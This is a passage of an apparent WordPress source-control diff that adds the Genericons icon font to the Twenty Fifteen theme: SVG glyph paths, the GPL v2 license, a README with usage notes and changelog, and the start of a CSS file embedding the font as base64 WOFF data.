+d="M1536 1408l-768 -384l-768 384v128h1536v-128zM0 1216l768 -384l256 128v-448h-1024v704zM1920 1152c70.7842 0 128 -57.3438 128 -128v-640c0 -70.7842 -57.2158 -128 -128 -128h-640c-70.7842 0 -128 57.2158 -128 128v640c0 70.6562 57.2158 128 128 128h640z
+M1920 640v128h-640v-128h640z" />
+    <glyph glyph-name="uniF109" unicode="&#xf109;" 
+d="M256 1280h384l384 384v-1280l-384 384h-384v512zM1295.49 1295.62c69.5039 -69.5039 112.512 -165.504 112.512 -271.616s-43.0078 -202.112 -112.512 -271.488l-90.4961 90.4961c46.3359 46.208 75.0078 110.208 75.0078 180.992
+c0 70.6562 -28.6719 134.656 -75.0078 181.12zM1476.61 1476.61c115.712 -115.841 187.392 -275.841 187.392 -452.608c0 -176.896 -71.6797 -336.896 -187.392 -452.608l-90.4961 90.4961c92.6719 92.6719 149.888 220.672 149.888 362.112
+c0 141.312 -57.2158 269.44 -149.888 361.984z" />
+    <glyph glyph-name="uniF428" unicode="&#xf428;" 
+d="M1024 1280c141.312 0 256 -114.688 256 -256s-114.688 -256 -256 -256s-256 114.688 -256 256s114.688 256 256 256z" />
+  </font>
+</defs></svg>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/LICENSE.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/LICENSE.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/LICENSE.txt	(revision 33402)
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/README.md
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/README.md	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/README.md	(revision 33402)
@@ -0,0 +1,152 @@
+## Genericons
+
+Genericons are vector icons embedded in a webfont designed to be clean and simple keeping with a generic aesthetic.
+
+Use genericons for instant HiDPI, to change icon colors on the fly, or even with CSS effects such as drop-shadows or gradients!
+
+
+### Usage
+
+To use it, place the `font` folder in your stylesheet directory and enqueue the genericons.css file. Now you can create an icon like this:
+
+```
+.my-icon:before {
+	content: '\f101';
+	font: normal 16px/1 'Genericons';
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+```
+
+This will output a comment icon before every element with the class "my-icon". The `content: '\f101';` part of this CSS is easily copied from the helper tool at http://genericons.com/, or `example.html` in the `font` directory.
+
+You can also use the bundled example.css if you'd rather insert the icons using HTML tags.
+
+
+### Notes
+
+**Photoshop mockups**
+
+The `Genericons.ttf` file found in the `font` directory can be placed in your system fonts folder and used Photoshop or other graphics apps if you like.
+
+If you're using Genericons in your Photoshop mockups, please remember to delete the old version of the font from Font Book, and grab the new one from the zip file. This also affects using it in your webdesigns: if you have an old version of the font installed locally, that's the font that'll be used in your website as well, so if you're missing icons, check for old versions of the font on your system.
+
+**Pixel grid**
+
+Genericons has been designed for a 16x16px grid. That means it'll look sharp at font-size: 16px exactly. It'll also be crisp at multiples thereof, such as 32px or 64px. It'll look reasonably crisp at in-between font sizes such as 24px or 48px, but not quite as crisp as 16 or 32. Please don't set the font-size to 17px, though, that'll just look terrible blurry.
+
+**Antialiasing**
+
+If you keep intact the `-webkit-font-smoothing: antialiased;` and `-moz-osx-font-smoothing: grayscale;` CSS properties. That'll make the icons look their best possible, in Firefox and WebKit based browsers.
+
+**optimizeLegibility**
+
+Note: On Android browsers with version 4.2, 4.3, and probably later, Genericons will simply not show up if you're using the CSS property "text-rendering" set to "optimizeLegibility.
+
+**Updates**
+
+We don't often update icons, but do very carefully when we get good feedback suggesting improvements. Please be mindful if you upgrade, and check that the updated icons behave as you intended.
+
+
+### Changelog
+
+**3.2**
+
+A number of new icons and a couple of quick updates. 
+
+* New: Activity
+* New: HTML anchor
+* New: Bug
+* New: Download
+* New: Handset
+* New: Microphone
+* New: Minus
+* New: Plus
+* New: Move
+* New: Rating stars, empty, half, full
+* New: Shuffle
+* New: video camera
+* New: Spotify
+* New: Twitch
+* Update: Fixed geometry in Edit icon
+* Update: Updated Foursquare icon
+
+Twitch and Spotify mark the last social icons that will be added to Genericons.
+Future social icons will have to happen in a separate font. 
+
+**3.1**
+
+Genericons is now generated using a commandline tool called FontCustom. This makes it far easier to add new icons to the font, but the switch means the download zip now has a different layout, fonts have different filenames, there's now no .otf font included (but the .ttf should suffice), and the font now has slightly different metrics. I've taken great care to ensure this new version should work as a drop-in replacement, but please be mindful and test carefully if you choose to upgrade.
+
+* Per feedback, the baked-in 16px width and height has been removed from the helper CSS. It wasn't really necessary (the glyph itself has these dimensions naturally), and it caused some headaches.
+* Base64 encoding is now included by default in the helper CSS. This makes it drop-in easy to get Genericons working in Firefox even when using a CDN. 
+* Title attribute on website tool.
+* New: Website.
+* New: Ellipsis.
+* New: Foursquare.
+* New: X-post.
+* New: Sitemap.
+* New: Hierarchy.
+* New: Paintbrush.
+* Updated: Show and Hide icons were updated for clarity.
+
+**3.0.3**
+
+Bunch of updates mostly.
+
+* Two new icons, Dropbox and Fullscreen.
+* Updates to all icons containing an exclamation mark.
+* Updates to Image and Quote.
+* Nicer "Share" icon.
+* Bigger default Linkedin icon.
+
+**3.0.2**
+
+A slew of new stuff and updates.
+
+* Social icons: Skype, Digg, Reddit, Stumbleupon, Pocket.
+* New generic icons: heart, lock and print.
+* New editing icons: code, bold, italic, image
+* New interaction icons: subscribe, unsubscribe, subscribed, reply all, reply, flag.
+* The hyperlink icon has been updated to be clearer, chunkier.
+* The "home" icon has been updated for style, size and clarity.
+* The email icon has been updated for style and clarity, and to fit with the new subscribe icons.
+* The document icon has been updated for style.
+* The "pin" icon has been updated for style and clarity.
+* The Twitter icon has been scaled down to fit with the other social icons.
+
+**3.0.1**
+
+Mostly maintenance. 
+
+* Fixed an issue with the example page that showed an old "top" icon instead of the actual NEW "refresh" icon.
+* Added inverse Google+ and Path.
+* Replaced tabs with spaces in the helper CSS.
+* Changed the Genericons.com copy/paste tool to serve span's instead of div's for casual icon insertion. It's being converted to "inline-block" anyway.
+
+**3.0**
+
+Mainly maintenance and a few new icons.
+
+* Fast forward, rewind, PollDaddy, Notice, Info, Help, Portfolio
+* Updated the feed icon. It's a bit smaller now for consistency, the previous one was rather big.
+* So, the previous version numbering, 2.09, wasn't very PHP version compare friendly. So from now on it'll be 3.0, 3.1 etc. Props Ipstenu.
+* Genericons.com now has a mini release blog.
+* The CSS has prettier formatting, props Konstantin Obenland.
+
+**2.09**
+
+Updated Facebook icon to new version. Updated Instagram logo to use new one-color version. Updated Google+ icon to use same radius as Instagram and Facebook. Added a bunch of new icons, cog, unapprove, cart, media player buttons, tablet, send to tablet.                                            
+
+**2.06**
+
+Included Base64 encoded version. This is necessary for Genericons to work with CDNs in Firefox. Firefox blocks fonts linked from a different domain. A CDN (typically s.example.com) usually puts the font on a subdomain, and is hence blocked in Firefox.
+
+**2.05**
+
+Added a bunch of new icons, including upload to cloud, download to cloud, many more.
+
+**2.0**
+
+Initial public release
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/genericons.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/genericons.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/genericons.css	(revision 33402)
@@ -0,0 +1,209 @@
+/**
+
+	Genericons
+
+*/
+
+
+/* IE8 and below use EOT and allow cross-site embedding.
+   IE9 uses WOFF which is base64 encoded to allow cross-site embedding.
+   So unfortunately, IE9 will throw a console error, but it'll still work.
+   When the font is base64 encoded, cross-site embedding works in Firefox */
+
+@font-face {
+    font-family: 'Genericons';
+    src: url('Genericons.eot');
+}
+
+@font-face {
+    font-family: 'Genericons';
+    src: url(data:application/font-woff;charset=utf-8;base64,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